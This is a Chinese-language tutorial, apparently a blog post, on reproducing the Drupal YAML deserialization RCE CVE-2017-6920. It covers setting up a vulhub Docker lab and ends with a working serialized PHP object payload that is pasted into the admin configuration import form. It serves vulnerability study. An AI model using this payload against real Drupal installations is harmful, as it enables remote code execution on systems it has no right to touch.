您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。
Drupal是使用PHP語言編寫的開源內(nèi)容管理框架(CMF),它由由內(nèi)容管理系統(tǒng)和PHP開發(fā)框架共同構(gòu)成,在GPL2.0及更新協(xié)議下發(fā)布。連續(xù)多年榮獲全球最佳CMS大獎,是基于PHP語言最著名的WEB應(yīng)用程序。
2017年6月21日,Drupal官方發(fā)布了一個編號為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當(dāng)所導(dǎo)致的一個遠(yuǎn)程代碼執(zhí)行漏洞。
漏洞影響范圍: Drupal < 8.3.4
下面僅作漏洞復(fù)現(xiàn)記錄與實(shí)現(xiàn),利用流程如下:
一、漏洞環(huán)境
本次演示環(huán)境采用vulhub搭建,執(zhí)行以下命令搭建
cd /drupal/CVE-2017-6920/
docker-compose up -d
之后開啟了8080端口,訪問之后正常安裝即可,由于沒有mysql環(huán)境,所以安裝的時候可以選擇sqlite數(shù)據(jù)庫
安裝完畢之后還需要安裝yaml擴(kuò)展,首先執(zhí)行docker ps查看容器id
之后執(zhí)行docker exec -it a3df54b9def6 bash 進(jìn)入容器命令行后依次執(zhí)行以下命令
# 換鏡像源,默認(rèn)帶vim編輯器,所以用cat換源,可以換成自己喜歡的源 cat > sources.list << EOF deb http://mirrors.163.com/debian/ jessie main non-free contrib deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb-src http://mirrors.163.com/debian/ jessie main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib EOF # 安裝依賴 apt update apt-get -y install gcc make autoconf libc-dev pkg-config apt-get -y install libyaml-dev # 安裝yaml擴(kuò)展 pecl install yaml docker-php-ext-enable yaml.so # 啟用 yaml.decode_php 否則無法復(fù)現(xiàn)成功 echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini # 退出容器 exit # 重啟容器,CONTAINER換成自己的容器ID docker restart CONTAINER
之后便可以開始復(fù)現(xiàn)漏洞了
漏洞鏈接: http://192.168.101.152:8080/
訪問之后如下圖,注意,復(fù)現(xiàn)該漏洞需要登錄管理員賬戶
二、漏洞復(fù)現(xiàn)
登錄一個管理賬戶
訪問鏈接http://192.168.101.152:8080/admin/config/development/configuration/single/import
之后Configuration type選擇為Simple configuration,Configuration name可以隨便填寫,Paste your configuration here中寫入poc:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
之后點(diǎn)擊左下角的Import按鈕便可以觸發(fā)漏洞
復(fù)現(xiàn)結(jié)束。
關(guān)于如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。